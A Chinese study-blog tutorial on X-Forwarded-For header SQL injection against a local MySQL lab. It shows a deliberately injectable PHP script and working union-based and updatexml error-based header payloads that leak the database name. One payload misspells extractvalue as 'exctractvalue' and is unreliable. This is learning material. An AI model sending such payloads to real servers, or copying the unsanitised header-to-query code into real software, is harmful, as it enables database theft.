目錄
第二種 報錯注入(updatexml & exctractvalue)
前言:
關於SQL注入還有好多種,前面寫的都是基於mysql環境下,接下來會更新其他數據庫該如何注入
但是前面的得認真觀看,以及源碼,運行流程,與形成
寫完後將會寫代碼審計
預計路線
黑盒測試 -> 白盒測試(代碼審計)-> 內網滲透 -> 等等,有可能會更新python寫工具,也可能往二進制或者近源滲透
這上面是路線,我將會不斷的更新。這樣以後查資料就不會到處百度了。(博客所寫,僅記錄每天學習)
正文
0x01:xff頭源碼以及形成
<?php
$con=mysqli_connect("localhost","root","root","test");
if (mysqli_connect_errno())
{
echo "連接失敗: " . mysqli_connect_error();
}
if(getenv('HTTP_CLIENT_IP')) {
$ip = getenv('HTTP_CLIENT_IP');
} elseif(getenv('HTTP_X_FORWARDED_FOR')) {
$ip = getenv('HTTP_X_FORWARDED_FOR');
} elseif(getenv('REMOTE_ADDR')) {
$ip = getenv('REMOTE_ADDR');
} else {
$ip = $HTTP_SERVER_VARS['REMOTE_ADDR'];
}
$result = mysqli_query($con,"select * from user where `ip`='$ip'");
if (!$result) {
printf("Error: %s\n", mysqli_error($con));
exit();
}
$row = mysqli_fetch_array($result);
echo $row['username'] . " : " . $row['password'];
echo "<br>";
?>
這裏遇到了一些預定義變量了,很陌生。但是不慌~~
然而一段if語句,只是獲取客戶端ip,可以點擊這裏進行查看
getenv(' HTTP_CLIENT_IP ')是獲取當前客戶端的IP
如果你用代理服務器接訪問的,,它記錄的就是代理服務器的IP,而不是真實的用戶IP
也就是說,這個ip地址可以進行僞造的
HTTP_CLIENT_IP: 獲取當前客戶端的IP
HTTP_X_FORWARDED_FOR: 瀏覽當前頁面的用戶計算機的網關
REMOTE_ADDR: 瀏覽當前頁面的用戶計算機的ip地址
getenv() : 獲取當前系統的環境變量
$HTTP_SERVER_VARS['REMOTE_ADDR']:它是將 tcp/ip 數據包中的 ip 提取出來供參考的
獲取真實ip的php代碼 點擊 這裏
也就說,這些ip並不可以獲取到真實ip
首先是if判斷
如果HTTP_CLIENT_IP 存在,則賦值給 $ip
如果 HTTP_X_FORWARDED_FOR 存在,則賦值 $ip
如果 REMOTE_ADDR 存在,則賦值 $ip
否則 賦值 tcp/ip數據包(也就是握手包)中的ip,給$ip
0x02 xff注入方式
xff注入的步驟與前面的 聯合查詢注入一樣,同意也可以使用head注入,head前面解釋過了。使用的是報錯函數
xff注入的兩種手法
第一種 union注入
首先是使用union注入,這裏需要閉合掉單引號,否則會報錯
我們首先僞造個xff頭,這時候我們對比2圖。發現獲取的ip都不一樣。這時候就可以進行xff頭注入
X-Forwarded-for: 127.0.0.1
1)爆出庫名
首先進行and 1=1 & and 1=2判斷。發現回顯在意料之中,
然後再使用 order by 判斷字段數即可
跟前面的一樣,沒啥區別,成功的爆出了庫名,庫名爲test
這時候就是查詢表名了。因爲和前面的一樣,所以我就不演示了,只是傳參方式不一樣
X-Forwarded-for: 127.0.0.1' and 1=2 union select 1,database(),3#
第二種 報錯注入(updatexml & exctractvalue)
因爲報錯注入無需判斷字段啥的,所以就直接的醬紫了
X-Forwarded-for: 127.0.0.1' and updatexml(1,concat(0x7e,(database()),0x7e),1)#
這裏的話也可以使用另外一個函數 exctactvalue()
X-Forwarded-for: 127.0.0.1' and exctractvalue(1,concat(0x7e,(database()),0x7e))#
當然,這邊的話報錯注入有十個,記住一些常用的就好。記不住就百度
嘿嘿
文末:
似乎沒啥好說的,xff和前面的一樣。接下來更新數據庫注入了